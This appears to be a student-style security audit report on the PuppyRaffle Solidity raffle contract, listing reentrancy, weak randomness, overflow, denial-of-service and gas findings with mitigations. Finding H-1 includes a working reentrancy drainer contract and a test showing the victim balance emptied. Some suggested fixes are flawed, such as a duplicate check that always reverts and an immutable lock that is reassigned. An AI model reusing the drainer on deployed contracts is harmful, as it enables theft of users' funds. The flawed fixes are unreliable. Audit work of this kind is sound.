PuppyRaffle Audit Report

Prepared by: Bikalpa Regmi

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - High
    - [H-1] Changing the player balance after calling transfer function may lead to re entrancy attacks in `PuppyRaffle::refund`.
    - Description :
    - Impact :
    - Proof Of Concept
    - [H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows user to influence or predict the winner & winning puppy.
    - [H-3] Integer overflow of `PuppyRaffle::totalFees` losses fees.
  - Medium
    - [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential DoS vector, incrementing gas costs for future entrants
    - Description:
    - Impact:
    - Proof of Concept:
    - [M-2] `PuppyRaffle::getActivePlayerIndex` returns 0 for non existing player as well as player with zero index.
  - Low
    - [L-1] Winner wouldnt receive their winning amount if their fallback is messed up in smart contract wallet
  - Gas
    - [G-1] Unchanged State Variable Should Be Declared Constant or Immutable
    - [G-2] Storage variable in a loop should be cached
    - [G-3] `PuppyRaffle::_isActivePlayer` is never used and should be removed
  - Information
    - [I-1] Solidity pragma should be specific not wide
    - [I-2] Using an outdated version of solidity is not reccommended
    - [I-3] Missing checks for `address(0)` when assigning value to address state variable.
    - [I-4] Recommended to follow CEI on `PuppyRaffle::selectWinner`.
    - [I-5] State changes are missing events

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the enterRaffle function with the following parameters: i. address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & value if they call the refund function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Bikalpa teams makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

In Scope: ./src/ #-- PuppyRaffle.sol

Roles

OwnOwner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function.

Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.er

Executive Summary

We spent 12 hr auditing this using foundry test tool.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	8
Total	14

Findings

High

[H-1] Changing the player balance after calling transfer function may lead to re entrancy attacks in `PuppyRaffle::refund`.

Description :

The `PuppyRaffle` contract has refund function after transfering the balance as refund function. The attacker can easily find out there is re entrancy attack potential and extract all of the contract balance by using `receive` or `fallback` function. After peoples has entered the `raffle`, the attacker can easily pretend entering raffle & immediatly exit that raffle but the catch here is that he can use `receive` or `fallback` function to receive the refund amount. He can put condition of the following in that receive function -:

```
receive external payable {
if(address(puppyRaffle).balance >= entranceFee){
            puppyRaffle.refund(attackerIndex);
        }
}
```

Impact :

The contract balance may turn into zero. The players will neither be able to receive their raffle nft nor their ethers.

Proof Of Concept

1. If we have 4 players who have already entered the raffle the contract balance will be increased and the attacker can view it from `etherscan`.
2. The attacker will make his own contract for attacker. That will include receive or fallback function to check a condition and extract all the money :
    1. Add the following to the `PuppyRaffleTest.t.sol` as an another contract.

▶ Code

```
contract ReEntranceAttacker {

 PuppyRaffle puppyRaffle ;

 uint256 entranceFee ;
 uint256 attackerIndex ;

 constructor(PuppyRaffle _puppyRaffle){
     puppyRaffle = _puppyRaffle ;
     entranceFee = puppyRaffle.entranceFee();
 }

 function attack() external payable {
     address[] memory player = new address[](1);
     player[0] = address(this);

     puppyRaffle.enterRaffle{value:entranceFee*player.length}(player);

     attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
     puppyRaffle.refund(attackerIndex);
 }

function _stealMoney() internal {
   if(address(puppyRaffle).balance >= entranceFee){
         puppyRaffle.refund(attackerIndex);
     }
}
 fallback() external payable{
   _stealMoney() ;
 }

 receive() external payable{
_stealMoney();
 }
 }
```

2.Add the following in `PuppyRaffleTest.t.sol` as an test.

▶ Code

```
 function test_reentrancy_refund() public {
        address[] memory players = new address[](4);
        players[0] = playerFour;
        players[1] = playerOne;
        players[2] = playerTwo;
        players[3] = playerThree;

        puppyRaffle.enterRaffle{value:entranceFee*4}(players);

        ReEntranceAttacker attackerContract = new
ReEntranceAttacker(puppyRaffle) ;
        address attackUser = makeAddr("AtackUser");
        vm.deal(attackUser , 1 ether);

        console.log("Attacker Contract Balance Before attacking ",
address(attackerContract).balance);
        console.log("Victim contract Balance before attacking ",
address(puppyRaffle).balance);

        vm.prank(attackUser);
        attackerContract.attack{value:entranceFee}();

        console.log("Attacker Contract Balance after attacking ",
address(attackerContract).balance);
        console.log("Victim contract Balance after attacking ",
address(puppyRaffle).balance);

    }
```

At console you will see the following :

```
Attacker Contract Balance Before attacking 0

Victim contract Balance before attacking 4 ethers

Attacker Contract Balance after attacking 5 ethers

Victim contract Balance after attacking 0
```

Recomendation

1. Consider using `nonReentrant` guard from openzeppelin library.

▶ Code

```
function refund(uint256 playerIndex) public nonReentrant{
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

        payable(msg.sender).sendValue(entranceFee);

        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

2. Consider first checking the condition, then update the state and then only transfer the fund.

▶ Code

```
function refund(uint256 playerIndex) public  {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

        players[playerIndex] = address(0);

        payable(msg.sender).sendValue(entranceFee);

        emit RaffleRefunded(playerAddress);
```

3. Consider using boolean that locks or unlock the function

▶ Code

```
bool public immutable lock ;

function refund(uint256 playerIndex) public nonReentrant{
        lock = false ;
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

        payable(msg.sender).sendValue(entranceFee);

        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
        lock = true ;
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows user to influence or predict the winner & winning puppy.

Description: Weak PRNG due to a modulo on block.timestamp, now or blockhash. These can be influenced by miners to some extent so they should be avoided. This additionally means the users could frontrun this function & call `refund` if they see they are not winner.

Impact: Any user can influence the winner of the raffle, winning the money selecting the `desired` and `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

Proof of concept:

1. Validator can know ahead of the time `block.timestamp` & `block.difficulty` also use that to predect where and how to participate. `block.timestamp` was recently replaced with the pervrando.
2. User can `mine\manilupate` the msg.sender value to result in there address being used to generate winner.
3. User can revert if they dont like the desired puppy.

Reccomended Mitigation : Consider using the cryptographically proovable random number generator such as chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` losses fees.

Description: In solidity version prior to `0.8.0` integers subject were to integer overflows.

```
uint myVar = type(uint64).max ;
myVar=myVar+1 ;

//The myVar will be zero
```

Impact: In `PuppyRaffle::selectWinner`, totalfees are accumulated for `feeAddress` to collect later in `PuppyRaffle::withDrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fee leaving the fee stuck in the contract forever.

Proof of concept:

▶ code

```
 totalFees = totalFees+uint64(fee);

 totalFees = totalFees+1;

 //The result will be 0
```

Recommended Mitigation: There are few possible mitigation-:

1. Use a new version of solidity `0.8.0` over old ones.
2. Use `uint256` instead of `uint64` in `puppyRaffle::totalFees`.
3. Use `SafeMath` library from openzeppelin. However you would have hard time with `uint64` type if too many fees are collected.
4. Remove the balance check from `PuppyRaffle::withdrawFees`.

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

There are more attack vectors with above require statement such as `selfdestruct`,`DOS`,etc. Recommended to remove that regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential DoS vector, incrementing gas costs for future entrants

Description:

The `PuppyRaffle::enterRaffle` function has a duplicate checking mechanism that loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means that the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional play in the `players` array is an additional check the loop will have to make.

> **Note to students:** This next line would likely be its own finding itself. However, we haven't taught you about MEV yet, so we are going to ignore it.

Additionally, this increased gas cost creates front-running opportunities where malicious users can front-run another raffle entrant's transaction, increase its costs, so their enter transaction fails.

Impact:

The impact is two-fold:

1. The gas costs for raffle entrants will greatly increase as more players enter the raffle.
2. Front-running opportunities are created for malicious users to increase the gas costs of other users, so their transaction fails.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such:

- **1st 100 players**: 6,251,420
- **2nd 100 players**: 18,066,229

This is more than **3x** as expensive for the second set of 100 players!

This is due to the `for` loop in the `PuppyRaffle::enterRaffle` function.

Place the following test into `PuppyRaffleTest.t.sol`

▶ Code

```


function testDenailOfService() public {
        vm.txGasPrice(1);
     address[] memory players = new address[](100);

     for(uint i = 0 ; i<100 ; ++i){
        players[i] = address(i);
     }
 uint gasStartFirst = gasleft();
     puppyRaffle.enterRaffle{value:entranceFee * players.length}(players);
     uint gasEndFirst = gasleft();
     uint gasUsedFirst = (gasStartFirst-gasEndFirst)*tx.gasprice ;
     console.log("gas cost of first 100 players is " , gasUsedFirst);

address[] memory newPlayers = new address[](100);
     for(uint i = 0 ; i<100 ; ++i){
        newPlayers[i] = address(i+100) ;
     }

uint gas2StartPrice = gasleft();

puppyRaffle.enterRaffle{value:entranceFee*newPlayers.length}(newPlayers);
uint gas2EndPrice = gasleft();

uint gasUsedSecond = (gas2StartPrice-gas2EndPrice)*tx.gasprice;

console.log("gas cost of second 100 players is ",gasUsedSecond);

assert(gasUsedSecond>gasUsedFirst);
    }

```

Recommendation

1. Consider allowing duplicates. User can create new wallet anyways, so the duplicate check wont prevent a person to enter multiple times.
2. Consider using mappings to duplicate. This will allow you to check constant in constant time rather that linear time.

▶ Code

```
mapping(address => uint256) public addressToRaffleId;
uint256 public raffleId = 0;

function enterRaffle(address[] memory newPlayers) public payable {
    require(msg.value == entranceFee * newPlayers.length,
        "PuppyRaffle: Must send enough to enter raffle");

    for (uint256 i = 0; i < newPlayers.length; i++) {
        players.push(newPlayers[i]);
        addressToRaffleId[newPlayers[i]] = raffleId;
    }

    // Check for duplicates only from the new players
    for (uint256 i = 0; i < newPlayers.length; i++) {
        require(addressToRaffleId[newPlayers[i]] != raffleId,
            "PuppyRaffle: Duplicate player");
    }

    emit RaffleEnter(newPlayers);
}
```

Removed Code:

▶ Code

```
// Check for duplicates
for (uint256 i = 0; i < players.length; i++) {
    for (uint256 j = i + 1; j < players.length; j++) {
        require(players[i] != players[j],
            "PuppyRaffle: Duplicate player");
    }
}
```

Alternatively , you could use [`OpenZeppelin`] `EnumerableSet` library.

[M-2] `PuppyRaffle::getActivePlayerIndex` returns 0 for non existing player as well as player with zero index.

Description If a player is in `PuppyRaffle::players` array at index 0 it will return 0, but according to natspac, it will also return 0 if the player is not in the array.

```
        // if the active player index is 0 it will return 0. The player
might think he has not joined the raffle.
  function getActivePlayerIndex(address player) external view returns
(uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact The player at index 0 to incorrectly think s\he hasn't enter the raffle & attempt to enter the raffle again wasting gas.

Proof of Concept 1.User enter the raffle who is the first entran. 2.He checks if he has entered or not using `PuppyRaffle::getActivePlayerIndex`. 3.The function returs 0 & make this person think s\he hasn't enter the raffle.

Recommended Mitigation The simplest mitigation will be to simply revert if the person has not entered inside an array instead of returning zero. You can also use boolean value to check if the person has entered or not.

Low

[L-1] Winner wouldnt receive their winning amount if their fallback is messed up in smart contract wallet

Description: The `PuppyRaffle::selectWinner` is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payments, the lottery would not be able to restart.

User could easily call `selectWinner` again and non-wallet entrant could enter, but it could cost a lot due to duplicate check & a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making it difficult to receive the money. Also, The true winner couldn't receive the money & someone else will take their money.

Proof of Concept:

1. 10 smart contract wallet enters the lottery without fallback or receive function.
2. The lottery ends.
3. The `SelectWinner` function wouldn't work even if the lottery is over.

Recommended Mitigation: Create a mapping of address=>payouts so that the winner could claim the reward themselves with a new `claimPrice`, putting the owness to the winner instead for contract. [Pull over push method]

Gas

[G-1] Unchanged State Variable Should Be Declared Constant or Immutable

Reading from the storage is much more expensive that reading from constant or immutable variable.

Instance : -`PuppyRaffle::raffleDuration` Should Be `Immutable`. -`PuppyRaffle::commonImageUri` Should be `Constant`. -`PuppyRaffle::rareImageUri` Should be `Constant`. -`PuppyRaffle::legendaryImageUri` Should be `Constant`.

[G-2] Storage variable in a loop should be cached

```
+ uint256 playerLength = players.length ;
-   for (uint256 i = 0; i < newPlayers.length; i++) {
+   for (uint256 i = 0; i < playerLength; i++) {
            players.push(newPlayers[i]);
        }
```

[G-3] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Information

[I-1] Solidity pragma should be specific not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

[I-2] Using an outdated version of solidity is not reccommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see [slither] documentation https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity for more Information.

[I-3] Missing checks for `address(0)` when assigning value to address state variable.

Assigning values to `address(0)` without checking for `address(0)`.

-Found in `PuppyRaffle::constructor`

[I-4] Recommended to follow CEI on `PuppyRaffle::selectWinner`.

It is always best to keep your code clean using CEI to prevent Re-Entrancy Attack.

```
```

```diff
- (bool success,) = winner.call{value: prizePool}("");
-       require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+     (bool success,) = winner.call{value: prizePool}("");
+       require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] State changes are missing events
